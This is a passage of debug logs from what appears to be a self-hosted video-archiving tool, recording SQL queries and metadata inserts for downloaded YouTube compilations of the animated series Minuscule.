2/2025-07-15 The Long Road | Minuscule 🍃 50' Compilation/The Long Road | Minuscule 🍃 50' Compilation [zzdfZs9qUn4].mp4", false, ~U[2025-07-15 06:00:58Z]] 22:09:57.214 [debug] QUERY OK source="sources" db=0.4ms idle=304.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:57.215 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:57.216 [debug] QUERY OK source="media_items" db=0.4ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [93767] 22:09:57.216 [debug] Current batch of media processed. Will check again in 1000ms 22:09:58.217 [debug] Current batch of media processed. Will check again in 1000ms 22:09:59.218 [debug] Current batch of media processed. Will check again in 1000ms 22:10:00.219 [debug] Current batch of media processed. Will check again in 1000ms 22:10:00.537 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:01.220 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Stubborn Spider | S02E04\n00:03:45 | A Pathetic She'Nut'Igan | S02E12\n00:07:30 | Labyrinth | S02E69\n00:11:16 | Zzz In The Metro | S02E53\n00:14:51 | Go Blue Go! | S02E54\n00:18:33 | Honey Fly | S02E08\n00:22:23 | Brushing | S02E46\n00:25:56 | Spider from the Depths | S02E31\n00:29:30 | The Hat Of The Medusa | S02E17\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#stubborn #spider #determination #house #Pathetic #Spider #Invent #Strategies #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2034, "filename" => "/downloads/Miniscule Season 2/2025-07-10 The Stubborn Spider | Minuscule 🍃 45' Compilation/The Stubborn Spider | Minuscule 🍃 45' Compilation [1TMeERmmHeE].mp4", "id" => "1TMeERmmHeE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1TMeERmmHeE", "playlist_index" => 42, "timestamp" => 1752141713, "title" => "The Stubborn Spider | Minuscule 🍃 45' Compilation", "upload_date" => "20250710"} 22:10:01.221 [debug] QUERY OK source="sources" db=0.3ms idle=683.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:01.221 [debug] QUERY OK source="sources" db=0.2ms idle=304.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:01.222 [debug] QUERY OK source="media_items" db=0.8ms idle=50.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-10 10:01:53Z], 5] 22:10:01.225 [debug] QUERY OK source="media_items" db=1.7ms idle=52.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Stubborn Spider | S02E04\n00:03:45 | A Pathetic She'Nut'Igan | S02E12\n00:07:30 | Labyrinth | S02E69\n00:11:16 | Zzz In The Metro | S02E53\n00:14:51 | Go Blue Go! | S02E54\n00:18:33 | Honey Fly | S02E08\n00:22:23 | Brushing | S02E46\n00:25:56 | Spider from the Depths | S02E31\n00:29:30 | The Hat Of The Medusa | S02E17\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#stubborn #spider #determination #house #Pathetic #Spider #Invent #Strategies #Minuscule #nature #insects #ladybugs #animatedseries", "The Stubborn Spider | Minuscule 🍃 45' Compilation", "8a032f2a-a2eb-4ddd-83e2-ebb7acd8e418", "1TMeERmmHeE", 2034, false, 5, "https://www.youtube.com/watch?v=1TMeERmmHeE", 42, "/downloads/Miniscule Season 2/2025-07-10 The Stubborn Spider | Minuscule 🍃 45' Compilation/The Stubborn Spider | Minuscule 🍃 45' Compilation [1TMeERmmHeE].mp4", false, false, false, [], 1, ~U[2025-07-10 10:01:53Z], ~U[2025-12-12 05:10:01Z], ~U[2025-12-12 05:10:01Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Stubborn Spider | S02E04\n00:03:45 | A Pathetic She'Nut'Igan | S02E12\n00:07:30 | Labyrinth | S02E69\n00:11:16 | Zzz In The Metro | S02E53\n00:14:51 | Go Blue Go! | S02E54\n00:18:33 | Honey Fly | S02E08\n00:22:23 | Brushing | S02E46\n00:25:56 | Spider from the Depths | S02E31\n00:29:30 | The Hat Of The Medusa | S02E17\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#stubborn #spider #determination #house #Pathetic #Spider #Invent #Strategies #Minuscule #nature #insects #ladybugs #animatedseries", "The Stubborn Spider | Minuscule 🍃 45' Compilation", "1TMeERmmHeE", 2034, false, 5, "https://www.youtube.com/watch?v=1TMeERmmHeE", "/downloads/Miniscule Season 2/2025-07-10 The Stubborn Spider | Minuscule 🍃 45' Compilation/The Stubborn Spider | Minuscule 🍃 45' Compilation [1TMeERmmHeE].mp4", false, ~U[2025-07-10 10:01:53Z]] 22:10:01.226 [debug] QUERY OK source="sources" db=0.4ms idle=54.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:01.226 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:01.227 [debug] QUERY OK source="media_items" db=0.4ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [93309] 22:10:01.227 [debug] Current batch of media processed. Will check again in 1000ms 22:10:02.229 [debug] Current batch of media processed. Will check again in 1000ms 22:10:03.230 [debug] Current batch of media processed. Will check again in 1000ms 22:10:04.231 [debug] Current batch of media processed. Will check again in 1000ms 22:10:05.232 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pollution | S02E60\n00:03:45 | The Annoying Neighbor | S02E28\n00:07:21 | Mission : BBQ | S02E09\n00:11:07 | Acrobatics | S02E16\n00:14:52 | The Mosquito Of The Caribbean | S02E57\n00:18:38 | Zzz zzz | S02E44\n00:22:08 | Sunburn | S02E40\n00:25:33 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pollution #Mosquito #City #Noise #caterpillar #noisy #neighbor #apple #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1782, "filename" => "/downloads/Miniscule Season 2/2025-06-26 Pollution | Minuscule 🍃 40' Compilation/Pollution | Minuscule 🍃 40' Compilation [5cSqpA_gNqs].mp4", "id" => "5cSqpA_gNqs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5cSqpA_gNqs", "playlist_index" => 43, "timestamp" => 1750932007, "title" => "Pollution | Minuscule 🍃 40' Compilation", "upload_date" => "20250626"} 22:10:05.233 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=307.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:05.234 [debug] QUERY OK source="sources" db=0.4ms idle=62.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:05.235 [debug] QUERY OK source="media_items" db=1.0ms idle=63.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-26 10:00:07Z], 5] 22:10:05.367 [debug] QUERY OK source="media_items" db=131.1ms idle=64.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pollution | S02E60\n00:03:45 | The Annoying Neighbor | S02E28\n00:07:21 | Mission : BBQ | S02E09\n00:11:07 | Acrobatics | S02E16\n00:14:52 | The Mosquito Of The Caribbean | S02E57\n00:18:38 | Zzz zzz | S02E44\n00:22:08 | Sunburn | S02E40\n00:25:33 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pollution #Mosquito #City #Noise #caterpillar #noisy #neighbor #apple #Minuscule #nature #insects #ladybugs #animatedseries", "Pollution | Minuscule 🍃 40' Compilation", "3e1af9d7-b485-40b2-aa2c-9186c4caea09", "5cSqpA_gNqs", 1782, false, 5, "https://www.youtube.com/watch?v=5cSqpA_gNqs", 43, "/downloads/Miniscule Season 2/2025-06-26 Pollution | Minuscule 🍃 40' Compilation/Pollution | Minuscule 🍃 40' Compilation [5cSqpA_gNqs].mp4", false, false, false, [], 1, ~U[2025-06-26 10:00:07Z], ~U[2025-12-12 05:10:05Z], ~U[2025-12-12 05:10:05Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pollution | S02E60\n00:03:45 | The Annoying Neighbor | S02E28\n00:07:21 | Mission : BBQ | S02E09\n00:11:07 | Acrobatics | S02E16\n00:14:52 | The Mosquito Of The Caribbean | S02E57\n00:18:38 | Zzz zzz | S02E44\n00:22:08 | Sunburn | S02E40\n00:25:33 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pollution #Mosquito #City #Noise #caterpillar #noisy #neighbor #apple #Minuscule #nature #insects #ladybugs #animatedseries", "Pollution | Minuscule 🍃 40' Compilation", "5cSqpA_gNqs", 1782, false, 5, "https://www.youtube.com/watch?v=5cSqpA_gNqs", "/downloads/Miniscule Season 2/2025-06-26 Pollution | Minuscule 🍃 40' Compilation/Pollution | Minuscule 🍃 40' Compilation [5cSqpA_gNqs].mp4", false, ~U[2025-06-26 10:00:07Z]] 22:10:05.368 [debug] QUERY OK source="sources" db=0.4ms idle=196.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:05.369 [debug] QUERY OK source="media_profiles" db=0.3ms idle=135.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:05.370 [debug] QUERY OK source="media_items" db=0.4ms idle=135.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91154] 22:10:05.370 [debug] Current batch of media processed. Will check again in 1000ms 22:10:06.371 [debug] Current batch of media processed. Will check again in 1000ms 22:10:07.372 [debug] Current batch of media processed. Will check again in 1000ms 22:10:08.373 [debug] Current batch of media processed. Will check again in 1000ms 22:10:09.374 [debug] Current batch of media processed. Will check again in 1000ms 22:10:10.375 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Broom's Sweep | S03E21\n00:01:29 | The Sled and the Ant | S03E25\n00:02:58 | The Wicked Web | S03E07\n00:04:27 | Sow The Wind And Reap The Storm | S03E11\n00:06:05 | Like A Cannon Ball | S03E03\n00:07:34 | A Pea In The Hand Is Worth... | S03E05\n00:09:06 | The Cruel Cow in The Meadow | S03E09\n00:10:36 | The Doughnut | S03E16\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#broom #carrot #wasps #centipede #spider #pine #transportation #snowy #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 747, "filename" => "/downloads/Miniscule Season 2/2025-06-28 Broom's Sweep | Minuscule 🍃 15' Compilation/Broom's Sweep | Minuscule 🍃 15' Compilation [wiTbTtZA7us].mp4", "id" => "wiTbTtZA7us", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wiTbTtZA7us", "playlist_index" => 44, "timestamp" => 1751133650, "title" => "Broom's Sweep | Minuscule 🍃 15' Compilation", "upload_date" => "20250628"} 22:10:10.376 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1204.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:10.376 [debug] QUERY OK source="sources" db=0.2ms idle=1205.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:10.377 [debug] QUERY OK source="media_items" db=0.7ms idle=1205.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-28 18:00:50Z], 5] 22:10:10.397 [debug] QUERY OK source="media_items" db=18.7ms idle=1207.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Broom's Sweep | S03E21\n00:01:29 | The Sled and the Ant | S03E25\n00:02:58 | The Wicked Web | S03E07\n00:04:27 | Sow The Wind And Reap The Storm | S03E11\n00:06:05 | Like A Cannon Ball | S03E03\n00:07:34 | A Pea In The Hand Is Worth... | S03E05\n00:09:06 | The Cruel Cow in The Meadow | S03E09\n00:10:36 | The Doughnut | S03E16\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#broom #carrot #wasps #centipede #spider #pine #transportation #snowy #Minuscule #nature #insects #ladybugs #animatedseries", "Broom's Sweep | Minuscule 🍃 15' Compilation", "70a3c696-9052-41ac-acec-8a7cbd5ab7ea", "wiTbTtZA7us", 747, false, 5, "https://www.youtube.com/watch?v=wiTbTtZA7us", 44, "/downloads/Miniscule Season 2/2025-06-28 Broom's Sweep | Minuscule 🍃 15' Compilation/Broom's Sweep | Minuscule 🍃 15' Compilation [wiTbTtZA7us].mp4", false, false, false, [], 1, ~U[2025-06-28 18:00:50Z], ~U[2025-12-12 05:10:10Z], ~U[2025-12-12 05:10:10Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Broom's Sweep | S03E21\n00:01:29 | The Sled and the Ant | S03E25\n00:02:58 | The Wicked Web | S03E07\n00:04:27 | Sow The Wind And Reap The Storm | S03E11\n00:06:05 | Like A Cannon Ball | S03E03\n00:07:34 | A Pea In The Hand Is Worth... | S03E05\n00:09:06 | The Cruel Cow in The Meadow | S03E09\n00:10:36 | The Doughnut | S03E16\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: 